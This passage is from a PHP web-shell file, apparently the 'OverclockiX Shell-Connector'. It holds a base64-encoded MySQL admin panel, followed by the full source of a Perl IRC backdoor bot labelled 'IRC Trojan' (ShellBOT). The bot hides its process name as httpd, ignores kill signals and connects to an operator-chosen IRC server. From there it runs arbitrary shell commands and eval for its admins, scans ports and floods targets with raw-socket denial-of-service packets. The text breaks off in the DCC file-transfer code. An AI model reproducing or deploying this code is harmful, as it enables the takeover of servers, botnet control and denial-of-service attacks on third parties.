c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFsc2UgKSB7CgkJCWVj
aG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1fZmllbGRzKCAkcFJl
c3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8L3A+XG4iOwoJCWVj
aG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTIg
Ym9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7ICRpIDwgJGNvbDsg
JGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVzdWx0LCAkaSApOwoJ
CQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQllY2hvICI8L3RyPlxu
IjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNoX3JvdyggJHBSZXN1
bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQllY2hvICI8dHI+XG4i
OwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8gIjx0ZD4iLmh0bWxz
cGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVjaG8gIjwvdHI+XG4i
OwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKCgpmdW5jdGlvbiBmb290ZXJfaHRtbCgp
IHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBfU0VMRiwg
JFVTRVJOQU1FOwoKCWVjaG8gIjxocj5cbiI7CgllY2hvICJbJFVTRVJOQU1FXSAtIFxuIjsKCgll
Y2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWJHbHpkRVJDY3c9PSc+RGF0YWJhc2UgTGlz
dDwvYT4gfCBcbiI7CglpZiggJHRhYmxlbmFtZSAhPSAiIiApCgkJZWNobyAiPGEgaHJlZj0nJFBI
UF9TRUxGP2FjdGlvbj1saXN0VGFibGVzJmRibmFtZT0kZGJuYW1lJnRhYmxlbmFtZT0kdGFibGVu
YW1lJz5UYWJsZSBMaXN0PC9hPiB8ICI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9u
PXV0aWxzJz5VdGlsczwvYT4gfFxuIjsKCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249
bG9nb3V0Jz5Mb2dvdXQ8L2E+XG4iOwoKCn0KCgoKCi8vLS0tLS0tLS0tLS0tLSBNQUlOIC0tLS0t
LS0tLS0tLS0gLy8KZXJyb3JfcmVwb3J0aW5nKDApOwppbmlfc2V0ICgnZGlzcGxheV9lcnJvcnMn
LCAwKTsKaW5pX3NldCAoJ2xvZ19lcnJvcnMnLCAwKTsKCmlmKCAkYWN0aW9uID09ICJsb2dvbiIg
fHwgJGFjdGlvbiA9PSAiIiB8fCAkYWN0aW9uID09ICJsb2dvdXQiICkKCWxvZ29uKCk7CmVsc2Ug
aWYoICRhY3Rpb24gPT0gImJHOW5iMjVmYzNWaWJXbDAiICkKCWxvZ29uX3N1Ym1pdCgpOwplbHNl
IGlmKCAkYWN0aW9uID09ICJkdW1wVGFibGUiIHx8ICRhY3Rpb24gPT0gImR1bXBEQiIgKSB7Cgl3
aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ
aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs
dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg
PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T
VE5BTUUgPSAkdmFsdWU7Cgl9CgkkbXlzcWxIYW5kbGUgPSBAbXlzcWxfY29ubmVjdCggJEhPU1RO
QU1FLiI6MzMwNiIsICRVU0VSTkFNRSwgJFBBU1NXT1JEICk7CglkdW1wKCk7Cn0gZWxzZSB7Cgl3
aGlsZSggbGlzdCgkdmFyLCAkdmFsdWUpID0gZWFjaCgkSFRUUF9DT09LSUVfVkFSUykgKSB7CgkJ
aWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl91c2VybmFtZSIgKSAkVVNFUk5BTUUgPSAkdmFs
dWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9wYXNzd29yZCIgKSAkUEFTU1dPUkQg
PSAkdmFsdWU7CgkJaWYoICR2YXIgPT0gIm15c3FsX3dlYl9hZG1pbl9ob3N0bmFtZSIgKSAkSE9T
VE5BTUUgPSAkdmFsdWU7Cgl9CgllY2hvICI8IS0tIjsKCSRteXNxbEhhbmRsZSA9IEBteXNxbF9j
b25uZWN0KCAkSE9TVE5BTUUuIjozMzA2IiwgJFVTRVJOQU1FLCAkUEFTU1dPUkQgKTsKCWVjaG8g
Ii0tPiI7CgoJaWYoICRteXNxbEhhbmRsZSA9PSBmYWxzZSApIHsKCgoJCWVjaG8gIjx0YWJsZSB3
aWR0aD0xMDAlIGhlaWdodD0xMDAlPjx0cj48dGQ+PGNlbnRlcj5cbiI7CgkJZWNobyAiPGgxPldy
b25nIFBhc3N3b3JkITwvaDE+XG4iOwoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249
bG9nb24nPkxvZ29uPC9hPlxuIjsKCQllY2hvICI8L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT5c
biI7CgoJfSBlbHNlIHsKCgkJaWYoICRhY3Rpb24gPT0gImJHbHpkRVJDY3c9PSIgKQoJCQlsaXN0
RGF0YWJhc2VzKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlREIiICkKCQkJY3JlYXRl
RGF0YWJhc2UoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wREIiICkKCQkJZHJvcERhdGFi
YXNlKCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAibGlzdFRhYmxlcyIgKQoJCQlsaXN0VGFibGVz
KCk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiY3JlYXRlVGFibGUiICkKCQkJY3JlYXRlVGFibGUo
KTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkcm9wVGFibGUiICkKCQkJZHJvcFRhYmxlKCk7CgkJ
ZWxzZSBpZiggJGFjdGlvbiA9PSAidmlld1NjaGVtYSIgKQoJCQl2aWV3U2NoZW1hKCk7CgkJZWxz
ZSBpZiggJGFjdGlvbiA9PSAicXVlcnkiICkKCQkJdmlld0RhdGEoICRxdWVyeVN0ciApOwoJCWVs
c2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkIiApCgkJCW1hbmFnZUZpZWxkKCAiYWRkIiApOwoJ
CWVsc2UgaWYoICRhY3Rpb24gPT0gImFkZEZpZWxkX3N1Ym1pdCIgKQoJCQltYW5hZ2VGaWVsZF9z
dWJtaXQoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdEZpZWxkIiApCgkJCW1h
bmFnZUZpZWxkKCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJlZGl0RmllbGRfc3Vi
bWl0IiApCgkJCW1hbmFnZUZpZWxkX3N1Ym1pdCggImVkaXQiICk7CgkJZWxzZSBpZiggJGFjdGlv
biA9PSAiZHJvcEZpZWxkIiApCgkJCWRyb3BGaWVsZCgpOwoJCWVsc2UgaWYoICRhY3Rpb24gPT0g
ImRtbGxkMFJoZEdFPSIgKQoJCQl2aWV3RGF0YSggIiIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09
ICJhZGREYXRhIiApCgkJCW1hbmFnZURhdGEoICJhZGQiICk7CgkJZWxzZSBpZiggJGFjdGlvbiA9
PSAiYWRkRGF0YV9zdWJtaXQiICkKCQkJbWFuYWdlRGF0YV9zdWJtaXQoICJhZGQiICk7CgkJZWxz
ZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGEiICkKCQkJbWFuYWdlRGF0YSggImVkaXQiICk7CgkJ
ZWxzZSBpZiggJGFjdGlvbiA9PSAiZWRpdERhdGFfc3VibWl0IiApCgkJCW1hbmFnZURhdGFfc3Vi
bWl0KCAiZWRpdCIgKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJkZWxldGVEYXRhIiApCgkJCWRl
bGV0ZURhdGEoKTsKCQllbHNlIGlmKCAkYWN0aW9uID09ICJ1dGlscyIgKQoJCQl1dGlscygpOwoK
CQlteXNxbF9jbG9zZSggJG15c3FsSGFuZGxlKTsKCQlmb290ZXJfaHRtbCgpOwoJfQp9CgoKCmVj
aG8nPGh0bWw+CjxoZWFkPgo8dGl0bGU+TXlTUUwgSW50ZXJmYWNlIChEZXZlbG9wZWQgQnkgTW9o
YWplcjIyKTwvdGl0bGU+Cjxib2R5IGJnQ29sb3I9IzIwMjA0MCA+CjxzdHlsZSB0eXBlPSJ0ZXh0
L2NzcyI+CjwhLS0KcC5sb2NhdGlvbiB7Cgljb2xvcjogIzExYmIzMzsKCWZvbnQtc2l6ZTogc21h
bGw7Cn0KaDEgewoJY29sb3I6ICNjMDAwMDA7Cn0KdGggewoJYmFja2dyb3VuZC1jb2xvcjogIzAw
MDAwMDsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBzbWFsbDsKfQp0ZCB7CgliYWNrZ3Jv
dW5kLWNvbG9yOiAjODA4MDgwOwoJZm9udC1zaXplOiBzbWFsbDsKfQpmb3JtIHsKCW1hcmdpbi10
b3A6IDA7CgltYXJnaW4tYm90dG9tOiAwOwp9CmEgewoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7Cglj
b2xvcjogIzg0ODIwMDsKCWZvbnQtc2l6ZTpzbWFsbDsKfQpBOmxpbmsgewpDT0xPUjojRUVFRkQ1
OwpURVhULURFQ09SQVRJT046IG5vbmUKfQpBOnZpc2l0ZWQgewpDT0xPUjojYzAwMDAwOwpURVhU
LURFQ09SQVRJT046IG5vbmUKfQpBOmFjdGl2ZSB7CkNPTE9SOiNjMDAwMDA7ClRFWFQtREVDT1JB
VElPTjogbm9uZQp9CkE6aG92ZXIgewpjb2xvcjojYzAwMDAwOwpURVhULURFQ09SQVRJT046IG5v
bmUKfQppbnB1dCwgc2VsZWN0LCB0ZXh0YXJlYSB7CmJhY2tncm91bmQtY29sb3I6ICM0MDQwNDA7
CmJvcmRlci1zdHlsZTogc29saWQ7CmZvbnQtZmFtaWx5OiB2ZXJkYW5hLCBhcmlhbCwgc2Fucy1z
ZXJpZjsKZm9udC1zaXplOnNtYWxsOwpjb2xvcjogIzAwMDAwMDsKcGFkZGluZzogMHB4Owp9JzsK
ZWNobyc8aHRtbD4KPGhlYWQ+Cjx0aXRsZT5NeVNRTCBJbnRlcmZhY2UgKERldmVsb3BlZCBCeSBN
b2hhamVyMjIpPC90aXRsZT4KPGJvZHkgYmdDb2xvcj0jMjAyMDQwID4KPHN0eWxlIHR5cGU9InRl
eHQvY3NzIj4KPCEtLQpwLmxvY2F0aW9uIHsKCWNvbG9yOiAjMTFiYjMzOwoJZm9udC1zaXplOiBz
bWFsbDsKfQpoMSB7Cgljb2xvcjogI2MwMDAwMDsKfQp0aCB7CgliYWNrZ3JvdW5kLWNvbG9yOiAj
MDAwMDAwOwoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CnRkIHsKCWJhY2tn
cm91bmQtY29sb3I6ICM4MDgwODA7Cglmb250LXNpemU6IHNtYWxsOwp9CmZvcm0gewoJbWFyZ2lu
LXRvcDogMDsKCW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsK
CWNvbG9yOiAjODQ4MjAwOwoJZm9udC1zaXplOnNtYWxsOwp9CkE6bGluayB7CkNPTE9SOiNFRUVG
RDU7ClRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CkNPTE9SOiNjMDAwMDA7ClRF
WFQtREVDT1JBVElPTjogbm9uZQp9CkE6YWN0aXZlIHsKQ09MT1I6I2MwMDAwMDsKVEVYVC1ERUNP
UkFUSU9OOiBub25lCn0KQTpob3ZlciB7CmNvbG9yOiNjMDAwMDA7ClRFWFQtREVDT1JBVElPTjog
bm9uZQp9CmlucHV0LCBzZWxlY3QsIHRleHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzQwNDA0
MDsKYm9yZGVyLXN0eWxlOiBzb2xpZDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5z
LXNlcmlmOwpmb250LXNpemU6c21hbGw7CmNvbG9yOiAjMDAwMDAwOwpwYWRkaW5nOiAwcHg7Cn0n
Owo/Pg==";
if(!empty($_POST['ircadmin']) AND !empty($_POST['ircserver']) AND !empty($_POST['ircchanal']) AND !empty($_POST['ircname']))
{
$ircadmin=$_POST['ircadmin'];
$ircserver=$_POST['ircserver'];
$ircchan=$_POST['ircchanal'];
$irclabel=$_POST['ircname'];
echo "<title>OverclockiX Shell-Connector || Connecting to $ircserver<title>";
echo "<body bgcolor=\"black\" text=\"green\">";
echo "Now Connecting to <b><font color=\"red\">$ircserver</font></b> in <b><font color=\"yellow\">$ircchan</font></b> Andministrators: <b><font color=\"yellow\">$ircadmin</font></b> Botname is <b><font color=\"yellow\">$irclabel</font></b>";
echo "<p>Dont Forget to Delete Loader.pl in /tmp</p>";
#######################################################
######################IRC Trojan##########################
$file="
################ CONFIGURACAO #################################################################
my \$processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my \$linas_max='48'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my \$sleep='4'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=(\"$ircadmin\"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=(\"$ircchan\"); # Caso haja senha (\"#canal :senha\") #
#----------------------------------------------################################################
my \$nick='$irclabel'; # Nick do bot. Caso esteja em uso vai aparecer #
                                               # aparecer com numero radonamico no final #
#----------------------------------------------################################################
my \$ircname = 'Linux'; # User ID #
#----------------------------------------------################################################
chop (my \$realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
\$servidor='$ircserver' unless \$servidor; # Servidor de irc que vai ser usado #
                                               # caso n?o seja especificado no argumento #
#----------------------------------------------################################################
my \$porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my \$secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my \$VERSAO = '0.2';
\$SIG{'INT'} = 'IGNORE';
\$SIG{'HUP'} = 'IGNORE';
\$SIG{'TERM'} = 'IGNORE';
\$SIG{'CHLD'} = 'IGNORE';
\$SIG{'PS'} = 'IGNORE';
\$SIG{'STOP'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
chdir(\"/\");
\$servidor=\"\$ARGV[0]\" if \$ARGV[0];
$0=\"\$processo\".\"\0\"x16;;
my \$pid=fork;
exit if \$pid;
die \"Problema com o fork: $!\" unless defined(\$pid);
my \$dcc_sel = new IO::Select->new();
#############################
# B0tchZ na veia ehehe :P #
#############################

\$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my \$socket = \$_[0];
    print \$socket \"\$_[1]\\n\";
  } else {
      print \$IRC_cur_socket \"\$_[0]\\n\";
  }
}
#################################
sub conectar {
   my \$meunick = \$_[0];
   my \$servidor_con = \$_[1];
   my \$porta_con = \$_[2];

   my \$IRC_socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"\$servidor_con\", PeerPort=>\$porta_con) or return(1);
   if (defined(\$IRC_socket)) {
     \$IRC_cur_socket = \$IRC_socket;

     \$IRC_socket->autoflush(1);
     \$sel_cliente->add(\$IRC_socket);

     \$irc_servers{\$IRC_cur_socket}{'host'} = \"\$servidor_con\";
     \$irc_servers{\$IRC_cur_socket}{'porta'} = \"\$porta_con\";
     \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
     \$irc_servers{\$IRC_cur_socket}{'meuip'} = \$IRC_socket->sockhost;
     nick(\"\$meunick\");
     sendraw(\"USER \$ircname \".\$IRC_socket->sockhost.\" \$servidor_con :\$realname\");
     sleep 1;
   }
} #####################

my \$line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar(\"\$nick\", \"\$servidor\", \"\$porta\"); }
   delete(\$irc_servers{''}) if (defined(\$irc_servers{''}));
   &DCC::connections;
   my @ready = \$sel_cliente->can_read(0);
   next unless(@ready);
   foreach \$fh (@ready) {
     \$IRC_cur_socket = \$fh;
     \$meunick = \$irc_servers{\$IRC_cur_socket}{'nick'};
     \$nread = sysread(\$fh, \$msg, 4096);
     if (\$nread == 0) {
        \$sel_cliente->remove(\$fh);
        \$fh->close;
        delete(\$irc_servers{\$fh});
     }
     @lines = split (/\\n/, \$msg);

     for(my \$c=0; \$c<= $#lines; \$c++) {
       \$line = \$lines[\$c];
       \$line=\$line_temp.\$line if (\$line_temp);
       \$line_temp='';
       \$line =~ s/\\r$//;
       unless (\$c == $#lines) {
         parse(\"\$line\");
       } else {
           if ($#lines == 0) {
             parse(\"\$line\");
           } elsif (\$lines[\$c] =~ /\\r$/) {
               parse(\"\$line\");
           } elsif (\$line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse(\"\$line\");
           } else {
               \$line_temp = \$line;
           }
       }
      }
   }
}

#########################


sub parse {
   my \$servarg = shift;
   if (\$servarg =~ /^PING \:(.*)/) {
     sendraw(\"PONG :$1\");
   } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my \$pn=$1; my \$onde = $4; my \$args = $5;
       if (\$args =~ /^\\001VERSION\\001$/) {
         notice(\"\$pn\", \"\\001VERSION ShellBOT-\$VERSAO por 0ldW0lf\\001\");
       }
       if (grep {\$_ =~ /^\Q\$pn\E$/i } @adms) {
         if (\$onde eq \"\$meunick\"){
           shell(\"\$pn\", \"\$args\");
         }
         if (\$args =~ /^(\Q\$meunick\E|\!atrix)\s+(.*)/ ) {
            my \$natrix = $1;
            my \$arg = $2;
            if (\$arg =~ /^\!(.*)/) {
              ircase(\"\$pn\",\"\$onde\",\"\$1\") unless (\$natrix eq \"!atrix\" and \$arg =~ /^\!nick/);
            } elsif (\$arg =~ /^\@(.*)/) {
                \$ondep = \$onde;
                \$ondep = \$pn if \$onde eq \$meunick;
                bfunc(\"\$ondep\",\"$1\");
            } else {
                shell(\"\$onde\", \"\$arg\");
            }
         }
       }
   } elsif (\$servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc(\$meunick)) {
         \$meunick=$4;
         \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       }
   } elsif (\$servarg =~ m/^\:(.+?)\s+433/i) {
       nick(\"\$meunick\".int rand(9999));
   } elsif (\$servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       \$meunick = $2;
       \$irc_servers{\$IRC_cur_socket}{'nick'} = \$meunick;
       \$irc_servers{\$IRC_cur_socket}{'nome'} = \"$1\";
       foreach my \$canal (@canais) {
         sendraw(\"JOIN \$canal\");
       }
   }
}
##########################

sub bfunc {
  my \$printl = \$_[0];
  my \$funcarg = \$_[1];
  if (my \$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if (\$funcarg =~ /^portscan (.*)/) {
             my \$hostip=\"$1\";
             my @portas=(\"21\",\"22\",\"23\",\"25\",\"53\",\"80\",\"110\",\"143\");
             my (@aberta, %porta_banner);
             foreach my \$porta (@portas) {
                my \$scansock = IO::Socket::INET->new(PeerAddr => \$hostip, PeerPort => \$porta, Proto => 'tcp', Timeout => 4);
                if (\$scansock) {
                   push (@aberta, \$porta);
                   \$scansock->close;
                }
             }

             if (@aberta) {
               sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :portas abertas: @aberta\");
             } else {
                 sendraw(\$IRC_cur_socket,\"PRIVMSG \$printl :Nenhuma porta aberta foi encontrada\");
             }
           }
           if (\$funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
             my (\$dtime, %pacotes) = attacker(\"$1\", \"$2\", \"$3\");
             \$dtime = 1 if \$dtime == 0;
             my %bytes;
             \$bytes{igmp} = $2 * \$pacotes{igmp};
             \$bytes{icmp} = $2 * \$pacotes{icmp};
             \$bytes{o} = $2 * \$pacotes{o};
             \$bytes{udp} = $2 * \$pacotes{udp};
             \$bytes{tcp} = $2 * \$pacotes{tcp};

             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002 - Status GERAL -\\002\");
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Tempo\\002: \$dtime\".\"s\");
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total pacotes\\002: \".(\$pacotes{udp} + \$pacotes{igmp} + \$pacotes{icmp} + \$pacotes{o}));
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002Total bytes\\002: \".(\$bytes{icmp} + \$bytes {igmp} + \$bytes{udp} + \$bytes{o}));
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\\002M?dia de envio\\002: \".int(((\$bytes{icmp}+\$bytes{igmp}+\$bytes{udp} + \$bytes{o})/1024)/\$dtime).\" kbps\");

           }
           exit;
       }
  }
}
##########################


sub ircase {
  my (\$kem, \$printl, \$case) = @_;


  if (\$case =~ /^join (.*)/) {
     j(\"$1\");
   }
   if (\$case =~ /^part (.*)/) {
      p(\"$1\");
   }
   if (\$case =~ /^rejoin\s+(.*)/) {
      my \$chan = $1;
      if (\$chan =~ /^(\d+) (.*)/) {
        for (my \$ca = 1; \$ca <= $1; \$ca++ ) {
          p(\"$2\");
          j(\"$2\");
        }
      } else {
          p(\"\$chan\");
          j(\"\$chan\");
      }
   }
   if (\$case =~ /^op/) {
      op(\"\$printl\", \"\$kem\") if \$case eq \"op\";
      my \$oarg = substr(\$case, 3);
      op(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^deop/) {
      deop(\"\$printl\", \"\$kem\") if \$case eq \"deop\";
      my \$oarg = substr(\$case, 5);
      deop(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^voice/) {
      voice(\"\$printl\", \"\$kem\") if \$case eq \"voice\";
      \$oarg = substr(\$case, 6);
      voice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^devoice/) {
      devoice(\"\$printl\", \"\$kem\") if \$case eq \"devoice\";
      \$oarg = substr(\$case, 8);
      devoice(\"$1\", \"$2\") if (\$oarg =~ /(\S+)\s+(\S+)/);
   }
   if (\$case =~ /^msg\s+(\S+) (.*)/) {
      msg(\"$1\", \"$2\");
   }
   if (\$case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= $1; \$cf++) {
        msg(\"$2\", \"$3\");
      }
   }
   if (\$case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp(\"$1\", \"$2\");
   }
   if (\$case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my \$cf = 1; \$cf <= $1; \$cf++) {
        ctcp(\"$2\", \"$3\");
      }
   }
   if (\$case =~ /^invite\s+(\S+) (.*)/) {
      invite(\"$1\", \"$2\");
   }
   if (\$case =~ /^nick (.*)/) {
      nick(\"$1\");
   }
   if (\$case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar(\"$2\", \"$1\", 6667);
   }
   if (\$case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND(\"$1\", \"$2\");
   }
   if (\$case =~ /^raw (.*)/) {
      sendraw(\"$1\");
   }
   if (\$case =~ /^eval (.*)/) {
     eval \"$1\";
   }
}
##########################

sub shell {
  return unless \$secv;
  my \$printl=\$_[0];
  my \$comando=\$_[1];
  if (\$comando =~ /cd (.*)/) {
    chdir(\"$1\") || msg(\"\$printl\", \"Dossier Makayench :D \");
    return;
  }
  elsif (\$pid = fork) {
     waitpid(\$pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`\$comando 2>&1 3>&1`;
           my \$c=0;
           foreach my \$linha (@resp) {
             \$c++;
             chop \$linha;
             sendraw(\$IRC_cur_socket, \"PRIVMSG \$printl :\$linha\");
             if (\$c == \"\$linas_max\") {
               \$c=0;
               sleep \$sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my \$iaddr = inet_aton(\$_[0]);
  my \$msg = 'B' x \$_[1];
  my \$ftime = \$_[2];
  my \$cp = 0;
  my (%pacotes);
  \$pacotes{icmp} = \$pacotes{igmp} = \$pacotes{udp} = \$pacotes{o} = \$pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or \$cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or \$cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or \$cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or \$cp++;
  return(undef) if \$cp == 4;
  my \$itime = time;
  my (\$cur_time);
  while ( 1 ) {
     for (my \$porta = 1; \$porta <= 65535; \$porta++) {
       \$cur_time = time - \$itime;
       last if \$cur_time >= \$ftime;
       send(SOCK1, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{igmp}++;
       send(SOCK2, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{udp}++;
       send(SOCK3, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{icmp}++;
       send(SOCK4, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{tcp}++;

       # DoS ?? :P
       for (my \$pc = 3; \$pc <= 255;\$pc++) {
         next if \$pc == 6;
         \$cur_time = time - \$itime;
         last if \$cur_time >= \$ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, \$pc) or next;
         send(SOCK5, \$msg, 0, sockaddr_in(\$porta, \$iaddr)) and \$pacotes{o}++;;
       }
     }
     last if \$cur_time >= \$ftime;
  }
  return(\$cur_time, %pacotes);
}

#############
# ALIASES #
#############

sub action {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\\001ACTION \$_[1]\\001\");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\\001\$_[1]\\001\");
}
sub msg {
   return unless $#_ == 1;
   sendraw(\"PRIVMSG \$_[0] :\$_[1]\");
}

sub notice {
   return unless $#_ == 1;
   sendraw(\"NOTICE \$_[0] :\$_[1]\");
}

sub op {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +o \$_[1]\");
}
sub deop {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -o \$_[1]\");
}
sub hop {
    return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub dehop {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +h \$_[1]\");
}
sub voice {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +v \$_[1]\");
}
sub devoice {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -v \$_[1]\");
}
sub ban {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] +b \$_[1]\");
}
sub unban {
   return unless $#_ == 1;
   sendraw(\"MODE \$_[0] -b \$_[1]\");
}
sub kick {
   return unless $#_ == 1;
   sendraw(\"KICK \$_[0] \$_[1] :\$_[2]\");
}

sub modo {
   return unless $#_ == 0;
   sendraw(\"MODE \$_[0] \$_[1]\");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw(\"JOIN \$_[0]\");
}
sub p { part(@_); }
sub part {sendraw(\"PART \$_[0]\");}

sub nick {
  return unless $#_ == 0;
  sendraw(\"NICK \$_[0]\");
}

sub invite {
   return unless $#_ == 1;
   sendraw(\"INVITE \$_[1] \$_[0]\");
}
sub topico {
   return unless $#_ == 1;
   sendraw(\"TOPIC \$_[0] \$_[1]\");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw(\"WHOIS \$_[0]\");
}
sub who {
  return unless $#_ == 0;
  sendraw(\"WHO \$_[0]\");
}
sub names {
  return unless $#_ == 0;
  sendraw(\"NAMES \$_[0]\");
}
sub away {
  sendraw(\"AWAY \$_[0]\");
}
sub back { away(); }
sub quit {
  sendraw(\"QUIT :\$_[0]\");
}

# DCC
#########################

package DCC;

sub connections {
   my @ready = \$dcc_sel->can_read(1);
# return unless (@ready);
   foreach my \$fh (@ready) {
     my \$dcctipo = \$DCC{\$fh}{tipo};
     my \$arquivo = \$DCC{\$fh}{arquivo};
     my \$bytes = \$DCC{\$fh}{bytes};
     my \$cur_byte = \$DCC{\$fh}{curbyte};
     my \$nick = \$DCC{\$fh}{nick};


     my \$msg;
